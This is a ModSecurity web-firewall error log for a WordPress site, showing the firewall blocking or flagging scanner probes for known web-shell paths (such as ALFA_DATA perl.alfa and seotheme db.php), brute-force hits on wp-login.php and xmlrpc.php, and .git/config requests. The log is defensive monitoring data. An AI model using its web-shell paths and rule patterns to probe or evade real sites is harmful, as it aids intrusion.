[Mon Dec 22 10:20:23.228384 2025] [:error] [pid 58079:tid 58131] [client 2.58.56.27:60801] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq53xLB7WYaNS5A7j4mgAAAFI"], referer: www.google.com
[Mon Dec 22 10:20:23.253507 2025] [:error] [pid 58079:tid 58124] [client 2.58.56.27:60487] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq53xLB7WYaNS5A7j4mwAAAEs"], referer: www.google.com
[Mon Dec 22 10:20:24.468226 2025] [:error] [pid 33535:tid 33540] [client 2.58.56.27:51276] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6GOCI8D9Xtn-n7QdOgAAAcM"], referer: www.google.com
[Mon Dec 22 10:20:24.553423 2025] [:error] [pid 33440:tid 33450] [client 2.58.56.27:61409] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6JOsUWKqgxu6QTSWegAAAQg"], referer: www.google.com
[Mon Dec 22 10:20:25.620831 2025] [:error] [pid 33643:tid 33661] [client 2.58.56.27:61304] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6UoNwyN4xVhAvNOn-QAAAo8"], referer: www.google.com
[Mon Dec 22 10:20:25.702481 2025] [:error] [pid 33472:tid 33513] [client 2.58.56.27:58815] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6Z5p2WQpPIK8HAlS-QAAAYw"], referer: www.google.com
[Mon Dec 22 10:20:26.749239 2025] [:error] [pid 33643:tid 33663] [client 2.58.56.27:55191] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6koNwyN4xVhAvNOoAAAAApE"], referer: www.google.com
[Mon Dec 22 10:20:26.847577 2025] [:error] [pid 33440:tid 33450] [client 2.58.56.27:56085] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6pOsUWKqgxu6QTSWmgAAAQg"], referer: www.google.com
[Mon Dec 22 10:20:27.861824 2025] [:error] [pid 33440:tid 33444] [client 2.58.56.27:58133] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq65OsUWKqgxu6QTSWpgAAAQI"], referer: www.google.com
[Mon Dec 22 10:20:27.998335 2025] [:error] [pid 33564:tid 33575] [client 2.58.56.27:59348] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6wSHeG6oLmMnKY4HegAAAgg"], referer: www.google.com
[Mon Dec 22 11:03:10.997485 2025] [:error] [pid 58172:tid 58194] [client 146.70.180.6:60272] [client 146.70.180.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUi07uSVKDT5jWOcnSU6IAAAANQ"]
[Mon Dec 22 11:03:10.998506 2025] [:error] [pid 33472:tid 33512] [client 146.70.180.6:60273] [client 146.70.180.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUi07p5p2WQpPIK8HAlqCgAAAYs"]
[Mon Dec 22 11:24:05.965918 2025] [:error] [pid 33471:tid 33498] [client 42.96.16.189:58844] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi51b5BeNE7regJ7izWzgAAAVg"]
[Mon Dec 22 11:24:08.154656 2025] [:error] [pid 33535:tid 33543] [client 42.96.16.189:58854] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi52GOCI8D9Xtn-n7Qx_wAAAcY"]
[Mon Dec 22 11:24:10.453238 2025] [:error] [pid 56044:tid 56051] [client 42.96.16.189:58864] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi52u60uUaieriJqP38pgAAAIM"]
[Mon Dec 22 11:24:37.289324 2025] [:error] [pid 33440:tid 33449] [client 13.215.177.9:59308] [client 13.215.177.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.177.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi59ZOsUWKqgxu6QTSqcgAAAQc"]
[Mon Dec 22 11:24:39.687424 2025] [:error] [pid 33535:tid 33556] [client 13.215.177.9:59314] [client 13.215.177.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.177.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi592OCI8D9Xtn-n7QyDQAAAdM"]
[Mon Dec 22 11:24:41.866340 2025] [:error] [pid 56044:tid 56055] [client 13.215.177.9:39250] [client 13.215.177.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.177.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi5-e60uUaieriJqP38uwAAAIc"]
[Mon Dec 22 11:27:06.196616 2025] [:error] [pid 33472:tid 33521] [client 42.96.16.189:46090] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi6ip5p2WQpPIK8HAl00AAAAZQ"]
[Mon Dec 22 11:27:08.526789 2025] [:error] [pid 33440:tid 33447] [client 42.96.16.189:46094] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi6jJOsUWKqgxu6QTSrlQAAAQU"]
[Mon Dec 22 11:27:10.694869 2025] [:error] [pid 56080:tid 56142] [client 42.96.16.189:46098] [client 42.96.16.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.16.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUi6jpIHT3YJq9hjDc5wcwAAAxI"]
[Mon Dec 22 12:21:30.814228 2025] [:error] [pid 58078:tid 58106] [client 38.246.33.184:50991] [client 38.246.33.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjHSpWKg9Bf8njHlB6-gQAAABc"]
[Mon Dec 22 12:21:30.816420 2025] [:error] [pid 58078:tid 58103] [client 38.246.33.184:50992] [client 38.246.33.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjHSpWKg9Bf8njHlB6-ggAAABQ"]
[Mon Dec 22 13:31:04.950462 2025] [:error] [pid 58078:tid 58094] [client 208.115.224.245:61031] [client 208.115.224.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjXmJWKg9Bf8njHlB7KtwAAAAs"]
[Mon Dec 22 13:31:04.950459 2025] [:error] [pid 33472:tid 33525] [client 208.115.224.245:61032] [client 208.115.224.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjXmJ5p2WQpPIK8HAmlVgAAAZg"]
[Mon Dec 22 13:39:41.151219 2025] [:error] [pid 58172:tid 58190] [client 195.178.110.161:58912] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUjZneSVKDT5jWOcnSVqSQAAANA"]
[Mon Dec 22 13:50:11.842767 2025] [:error] [pid 33535:tid 33545] [client 1.129.17.157:20873] [client 1.129.17.157] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "51.222.95.185_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/ui/core.min.js"] [unique_id "aUjcEWOCI8D9Xtn-n7RZwQAAAcg"], referer: https://gigfragments.org/
[Mon Dec 22 14:04:22.873137 2025] [:error] [pid 56044:tid 56057] [client 67.20.76.98:50612] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUjfZu60uUaieriJqP0bCwAAAIk"]
[Mon Dec 22 14:04:25.770757 2025] [:error] [pid 33535:tid 33542] [client 67.20.76.98:50628] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUjfaWOCI8D9Xtn-n7RcwwAAAcU"]
[Mon Dec 22 14:04:28.201402 2025] [:error] [pid 56155:tid 56243] [client 67.20.76.98:16176] [client 67.20.76.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.20.76.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUjfbGG8a3wQucsuN66jtQAAA5U"]
[Mon Dec 22 14:40:56.391426 2025] [:error] [pid 33472:tid 33502] [client 208.115.224.169:52766] [client 208.115.224.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjn-J5p2WQpPIK8HAnCGwAAAYE"]
[Mon Dec 22 14:40:56.392810 2025] [:error] [pid 33472:tid 33524] [client 208.115.224.169:52767] [client 208.115.224.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUjn-J5p2WQpPIK8HAnCHAAAAZc"]
[Mon Dec 22 15:17:24.799278 2025] [:error] [pid 33472:tid 33520] [client 195.178.110.161:35180] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aUjwhJ5p2WQpPIK8HAnPNQAAAZM"]
[Mon Dec 22 15:51:52.822501 2025] [:error] [pid 58172:tid 58175] [client 38.246.33.180:54024] [client 38.246.33.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUj4mOSVKDT5jWOcnSWSOAAAAME"]
[Mon Dec 22 15:51:52.823421 2025] [:error] [pid 56080:tid 56130] [client 38.246.33.180:54025] [client 38.246.33.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUj4mJIHT3YJq9hjDc6lHQAAAwY"]
[Mon Dec 22 16:38:09.856315 2025] [:error] [pid 58172:tid 58194] [client 47.252.25.140:50380] [client 47.252.25.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.252.25.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkDceSVKDT5jWOcnSWe5QAAANQ"]
[Mon Dec 22 16:38:13.029601 2025] [:error] [pid 33472:tid 33509] [client 47.252.25.140:50386] [client 47.252.25.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.252.25.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkDdZ5p2WQpPIK8HAnqdQAAAYg"]
[Mon Dec 22 16:38:15.355327 2025] [:error] [pid 33564:tid 33578] [client 47.252.25.140:50396] [client 47.252.25.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.252.25.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUkDdwSHeG6oLmMnKY5t9QAAAgs"]
[Mon Dec 22 18:03:49.851379 2025] [:error] [pid 33471:tid 33496] [client 185.112.59.5:53451] [client 185.112.59.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUkXhb5BeNE7regJ7iwonQAAAVY"]
[Mon Dec 22 18:21:24.088458 2025] [:error] [pid 56155:tid 56234] [client 119.96.24.54:33430] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUkbpGG8a3wQucsuN67VKwAAA4w"]
[Mon Dec 22 18:23:09.685847 2025] [:error] [pid 56080:tid 56147] [client 24.199.123.177:56400] [client 24.199.123.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.123.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkcDZIHT3YJq9hjDc7IgAAAAxc"]
[Mon Dec 22 18:23:11.443096 2025] [:error] [pid 56080:tid 56146] [client 24.199.123.177:56400] [client 24.199.123.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.123.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkcD5IHT3YJq9hjDc7IhwAAAxY"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 22 18:29:48.950522 2025] [:error] [pid 58172:tid 58178] [client 161.97.163.141:42022] [client 161.97.163.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.163.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkdnOSVKDT5jWOcnSXCigAAAMQ"]
[Mon Dec 22 18:29:50.244694 2025] [:error] [pid 58172:tid 58187] [client 161.97.163.141:42022] [client 161.97.163.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.163.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkdnuSVKDT5jWOcnSXCjAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 22 18:51:33.298484 2025] [:error] [pid 33471:tid 33478] [client 103.65.138.210:59540] [client 103.65.138.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.65.138.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkitb5BeNE7regJ7iwx3gAAAUQ"]
[Mon Dec 22 18:51:37.015897 2025] [:error] [pid 56044:tid 56071] [client 103.65.138.210:59544] [client 103.65.138.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.65.138.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUkiue60uUaieriJqP1VWAAAAJc"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 22 19:05:54.224303 2025] [:error] [pid 33564:tid 33589] [client 4.217.179.78:53414] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aUkmEgSHeG6oLmMnKY6o9QAAAhY"]
[Mon Dec 22 19:05:54.838184 2025] [:error] [pid 56044:tid 56050] [client 4.217.179.78:27408] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aUkmEu60uUaieriJqP1ZigAAAII"]
[Mon Dec 22 19:05:55.355140 2025] [:error] [pid 58078:tid 58090] [client 4.217.179.78:28698] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aUkmE5WKg9Bf8njHlB4eBwAAAAc"]
[Mon Dec 22 19:05:56.015967 2025] [:error] [pid 33535:tid 33539] [client 4.217.179.78:6622] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aUkmFGOCI8D9Xtn-n7SqJwAAAcI"]
[Mon Dec 22 19:05:56.484630 2025] [:error] [pid 56080:tid 56137] [client 4.217.179.78:16040] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aUkmFJIHT3YJq9hjDc7TewAAAw0"]
[Mon Dec 22 19:05:57.420732 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:27406] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aUkmFZOsUWKqgxu6QTQcUQAAAQc"]
[Mon Dec 22 19:05:57.775136 2025] [:error] [pid 56080:tid 56146] [client 4.217.179.78:6613] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aUkmFZIHT3YJq9hjDc7TfgAAAxY"]
[Mon Dec 22 19:05:58.213356 2025] [:error] [pid 33472:tid 33521] [client 4.217.179.78:27937] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aUkmFp5p2WQpPIK8HAkaLAAAAZQ"]
[Mon Dec 22 19:05:58.753645 2025] [:error] [pid 33471:tid 33482] [client 4.217.179.78:28711] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aUkmFr5BeNE7regJ7iw1UwAAAUg"]
[Mon Dec 22 19:05:59.245074 2025] [:error] [pid 33564:tid 33578] [client 4.217.179.78:27936] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aUkmFwSHeG6oLmMnKY6pAwAAAgs"]
